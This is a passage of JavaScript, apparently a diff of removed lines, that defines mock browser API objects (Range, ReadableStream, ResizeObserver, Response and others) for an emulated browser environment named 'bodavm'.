-bodavm.toolsFunc.defineProperty('Range', "END_TO_END", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "END_TO_START", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "cloneContents", {configurable:true, enumerable:true, writable:true, value:function cloneContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "cloneRange", {configurable:true, enumerable:true, writable:true, value:function cloneRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "collapse", {configurable:true, enumerable:true, writable:true, value:function collapse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "collapse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "compareBoundaryPoints", {configurable:true, enumerable:true, writable:true, value:function compareBoundaryPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "compareBoundaryPoints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "comparePoint", {configurable:true, enumerable:true, writable:true, value:function comparePoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "comparePoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "createContextualFragment", {configurable:true, enumerable:true, writable:true, value:function createContextualFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "createContextualFragment", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "deleteContents", {configurable:true, enumerable:true, writable:true, value:function deleteContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "deleteContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "detach", {configurable:true, enumerable:true, writable:true, value:function detach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "detach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "expand", {configurable:true, enumerable:true, writable:true, value:function expand (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "expand", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "extractContents", {configurable:true, enumerable:true, writable:true, value:function extractContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "extractContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "getBoundingClientRect", {configurable:true, enumerable:true, writable:true, value:function getBoundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getBoundingClientRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "getClientRects", {configurable:true, enumerable:true, writable:true, value:function getClientRects (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getClientRects", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "insertNode", {configurable:true, enumerable:true, writable:true, value:function insertNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "insertNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "intersectsNode", {configurable:true, enumerable:true, writable:true, value:function intersectsNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "intersectsNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "isPointInRange", {configurable:true, enumerable:true, writable:true, value:function isPointInRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "isPointInRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "selectNode", {configurable:true, enumerable:true, writable:true, value:function selectNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "selectNodeContents", {configurable:true, enumerable:true, writable:true, value:function selectNodeContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNodeContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEnd", {configurable:true, enumerable:true, writable:true, value:function setEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEnd", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEndAfter", {configurable:true, enumerable:true, writable:true, value:function setEndAfter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndAfter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEndBefore", {configurable:true, enumerable:true, writable:true, value:function setEndBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStart", {configurable:true, enumerable:true, writable:true, value:function setStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStart", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStartAfter", {configurable:true, enumerable:true, writable:true, value:function setStartAfter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartAfter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStartBefore", {configurable:true, enumerable:true, writable:true, value:function setStartBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "surroundContents", {configurable:true, enumerable:true, writable:true, value:function surroundContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "surroundContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "toString", arguments)}},'prototype'); - -// ReadableByteStreamController对象 -bodavm.memory.globalobj['ReadableByteStreamController'] = function ReadableByteStreamController(){if (!(this instanceof ReadableByteStreamController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableByteStreamController'], "ReadableByteStreamController"); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "byobRequest", {configurable:true, enumerable:true, get:function byobRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "byobRequest_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "error", arguments)}},'prototype'); - -// ReadableStream对象 -bodavm.memory.globalobj['ReadableStream'] = function ReadableStream(){this._boarg= new bodaobj.window.ReadableStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStream'], "ReadableStream"); -bodavm.toolsFunc.defineProperty('ReadableStream', "locked", {configurable:true, enumerable:true, get:function locked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "locked_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "cancel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "getReader", {configurable:true, enumerable:true, writable:true, value:function getReader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "getReader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "pipeThrough", {configurable:true, enumerable:true, writable:true, value:function pipeThrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeThrough", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "pipeTo", {configurable:true, enumerable:true, writable:true, value:function pipeTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "tee", {configurable:true, enumerable:true, writable:true, value:function tee (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "tee", arguments)}},'prototype'); - -// ReadableStreamBYOBReader对象 -bodavm.memory.globalobj['ReadableStreamBYOBReader'] = function ReadableStreamBYOBReader(){if (!(this instanceof ReadableStreamBYOBReader)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamBYOBReader': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBReader'], "ReadableStreamBYOBReader"); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "cancel", arguments)}},'prototype'); - -// ReadableStreamBYOBRequest对象 -bodavm.memory.globalobj['ReadableStreamBYOBRequest'] = function ReadableStreamBYOBRequest(){if (!(this instanceof ReadableStreamBYOBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBRequest'], "ReadableStreamBYOBRequest"); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "view", {configurable:true, enumerable:true, get:function view (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "view_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respond", {configurable:true, enumerable:true, writable:true, value:function respond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respond", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respondWithNewView", {configurable:true, enumerable:true, writable:true, value:function respondWithNewView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respondWithNewView", arguments)}},'prototype'); - -// ReadableStreamDefaultController对象 -bodavm.memory.globalobj['ReadableStreamDefaultController'] = function ReadableStreamDefaultController(){if (!(this instanceof ReadableStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultController'], "ReadableStreamDefaultController"); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "error", arguments)}},'prototype'); - -// ReadableStreamDefaultReader对象 -bodavm.memory.globalobj['ReadableStreamDefaultReader'] = function ReadableStreamDefaultReader(){if (!(this instanceof ReadableStreamDefaultReader)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamDefaultReader': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultReader'], "ReadableStreamDefaultReader"); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "cancel", arguments)}},'prototype'); - -// RelativeOrientationSensor对象 -bodavm.memory.globalobj['RelativeOrientationSensor'] = function RelativeOrientationSensor(){this._boarg= new bodaobj.window.RelativeOrientationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RelativeOrientationSensor'], "RelativeOrientationSensor"); -bodavm.memory.globalobj['RelativeOrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['OrientationSensor'].prototype; -bodavm.memory.globalobj['RelativeOrientationSensor'].__proto__=bodavm.memory.globalobj['OrientationSensor']; - -// releaseEvents对象 -bodavm.memory.globalobj['releaseEvents'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('releaseEvents', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('releaseEvents', "name", {configurable:true, enumerable:false, writable:false, value:"releaseEvents"}); - -// RemotePlayback对象 -bodavm.memory.globalobj['RemotePlayback'] = function RemotePlayback(){if (!(this instanceof RemotePlayback)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RemotePlayback'], "RemotePlayback"); -bodavm.memory.globalobj['RemotePlayback'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RemotePlayback'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RemotePlayback', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnecting", {configurable:true, enumerable:true, get:function onconnecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_get", arguments)}, set:function onconnecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "cancelWatchAvailability", {configurable:true, enumerable:true, writable:true, value:function cancelWatchAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "cancelWatchAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "prompt", {configurable:true, enumerable:true, writable:true, value:function prompt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "prompt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "watchAvailability", {configurable:true, enumerable:true, writable:true, value:function watchAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "watchAvailability", arguments)}},'prototype'); - -// reportError对象 -bodavm.memory.globalobj['reportError'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('reportError', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('reportError', "name", {configurable:true, enumerable:false, writable:false, value:"reportError"}); - -// ReportingObserver对象 -bodavm.memory.globalobj['ReportingObserver'] = function ReportingObserver(){if (!(this instanceof ReportingObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReportingObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReportingObserver'], "ReportingObserver"); -bodavm.toolsFunc.defineProperty('ReportingObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReportingObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReportingObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "takeRecords", arguments)}},'prototype'); - -// requestAnimationFrame对象 -bodavm.memory.globalobj['requestAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('requestAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('requestAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"requestAnimationFrame"}); - -// requestIdleCallback对象 -bodavm.memory.globalobj['requestIdleCallback'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('requestIdleCallback', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('requestIdleCallback', "name", {configurable:true, enumerable:false, writable:false, value:"requestIdleCallback"}); - -// resizeBy对象 -bodavm.memory.globalobj['resizeBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('resizeBy', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('resizeBy', "name", {configurable:true, enumerable:false, writable:false, value:"resizeBy"}); - -// ResizeObserver对象 -bodavm.memory.globalobj['ResizeObserver'] = function ResizeObserver(){if (!(this instanceof ResizeObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ResizeObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserver'], "ResizeObserver"); -bodavm.toolsFunc.defineProperty('ResizeObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserver', "unobserve", {configurable:true, enumerable:true, writable:true, value:function unobserve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "unobserve", arguments)}},'prototype'); - -// ResizeObserverEntry对象 -bodavm.memory.globalobj['ResizeObserverEntry'] = function ResizeObserverEntry(){if (!(this instanceof ResizeObserverEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverEntry'], "ResizeObserverEntry"); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentRect", {configurable:true, enumerable:true, get:function contentRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentBoxSize", {configurable:true, enumerable:true, get:function contentBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentBoxSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "borderBoxSize", {configurable:true, enumerable:true, get:function borderBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "borderBoxSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "devicePixelContentBoxSize", {configurable:true, enumerable:true, get:function devicePixelContentBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "devicePixelContentBoxSize_get", arguments)}, set:undefined},'prototype'); - -// ResizeObserverSize对象 -bodavm.memory.globalobj['ResizeObserverSize'] = function ResizeObserverSize(){if (!(this instanceof ResizeObserverSize)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverSize'], "ResizeObserverSize"); -bodavm.toolsFunc.defineProperty('ResizeObserverSize', "inlineSize", {configurable:true, enumerable:true, get:function inlineSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "inlineSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverSize', "blockSize", {configurable:true, enumerable:true, get:function blockSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "blockSize_get", arguments)}, set:undefined},'prototype'); - -// resizeTo对象 -bodavm.memory.globalobj['resizeTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('resizeTo', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('resizeTo', "name", {configurable:true, enumerable:false, writable:false, value:"resizeTo"}); - -// Response对象 -bodavm.memory.globalobj['Response'] = function Response(){this._boarg= new bodaobj.window.Response();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Response'], "Response"); -bodavm.toolsFunc.defineProperty('Response', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "error", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "json", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "redirect", {configurable:true, enumerable:true, writable:true, value:function redirect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "redirect", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "redirected", {configurable:true, enumerable:true, get:function redirected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "redirected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "ok", {configurable:true, enumerable:true, get:function ok (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "ok_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "statusText", {configurable:true, enumerable:true, get:function statusText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "statusText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "headers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "body_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "bodyUsed", {configurable:true, enumerable:true, get:function bodyUsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "bodyUsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", 